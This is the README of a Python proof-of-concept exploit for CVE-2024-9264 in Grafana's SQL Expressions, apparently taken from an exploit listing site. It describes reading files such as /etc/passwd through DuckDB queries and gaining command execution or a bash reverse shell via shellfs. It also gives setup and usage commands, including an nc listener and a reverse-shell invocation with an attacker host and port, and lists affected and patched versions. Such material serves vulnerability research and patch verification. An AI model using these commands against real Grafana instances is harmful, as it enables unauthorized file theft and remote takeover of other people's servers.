## https://sploitus.com/exploit?id=B1AF6973-2BCB-5B27-B12A-5A687BBC2EA5
# CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC
Python proof of concept for CVE-2024-9264, a Grafana SQL Expressions issue where insufficiently sanitized DuckDB queries can allow authenticated local file inclusion and conditional command execution.
> **For authorized testing and research only. Do not use against systems you do not own or have explicit permission to test.**
---
## What it does
```text
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read proof -> optional shellfs command execution
```
1. Sends an authenticated request to Grafana's SQL Expressions datasource query API.
2. Validates the issue with a `read_blob()` file read proof, defaulting to `/etc/passwd`.
3. Optionally delivers a DuckDB `shellfs` payload for command execution or a bash reverse shell.
---
## Setup
```bash
git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
pip install -r requirements.txt
```
---
## Usage
File read proof:
```bash
python3 CVE-2024-9264.py --target http://target:3000 --username admin --password admin --file /etc/passwd
```
Command execution proof:
```bash
python3 CVE-2024-9264.py --target http://target:3000 --username admin --password admin --cmd id
```
Reverse shell:
```bash
rlwrap nc -lvnp 4444
python3 CVE-2024-9264.py --target http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
```
Dry run:
```bash
python3 CVE-2024-9264.py --target http://target:3000 --cmd id --dry-run
```
---
## Options
```text
-u, --url, --target Target URL, for example http://localhost:3000
--username Grafana username. Default: admin
--password Grafana password. Default: admin
--file File path for LFI proof. Default: /etc/passwd
--expected-marker Marker expected in file read response. Default: root:
--cmd Command to execute through the DuckDB shellfs path
--reverse-shell Run a bash reverse shell payload
--lhost Listener host for --reverse-shell
--lport Listener port for --reverse-shell
--timeout HTTP timeout in seconds. Default: 20
--verify-tls Verify TLS certificates. Default: enabled
-k, --insecure Disable TLS certificate verification
--dry-run Print payload metadata without sending requests
--debug Print request debugging metadata
```
---
## Affected
| Product | Affected Version | Access Required | Impact |
|---------|------------------|-----------------|--------|
| Grafana OSS / Enterprise | Grafana v11.x from v11.0.0 before patched security releases | Viewer or higher | Local file inclusion and command injection when DuckDB is available in Grafana's PATH |
Grafana states that the DuckDB binary must be present in the Grafana process PATH for exploitation, and that normal Grafana distributions do not include it by default.
---
## Notes
- This PoC requires valid Grafana credentials with Viewer or higher permissions.
- File read is used as the first validation step before command execution.
- Command execution depends on DuckDB `shellfs` availability and target environment behavior.
- For TLS targets using self-signed certificates, pass `-k` or `--insecure`.
- Patched versions include Grafana `11.0.5+security-01`, `11.1.6+security-01`, `11.2.1+security-01`, `11.0.6+security-01`, `11.1.7+security-01`, and `11.2.2+security-01`.
---
## References
- [Grafana advisory - CVE-2024-9264](https://grafana.com/security/security-advisories/cve-2024-9264/)
- [Grafana security release blog](https://grafana.com/blog/grafana-security-release-critical-severity-fix-for-cve-2024-9264/)
- [NVD - CVE-2024-9264](https://nvd.nist.gov/vuln/detail/CVE-2024-9264)
---
## Author
ozcanpng - [github.com/ozcanpng](https://github.com/ozcanpng) - [ozcanpng.dev](https://ozcanpng.dev)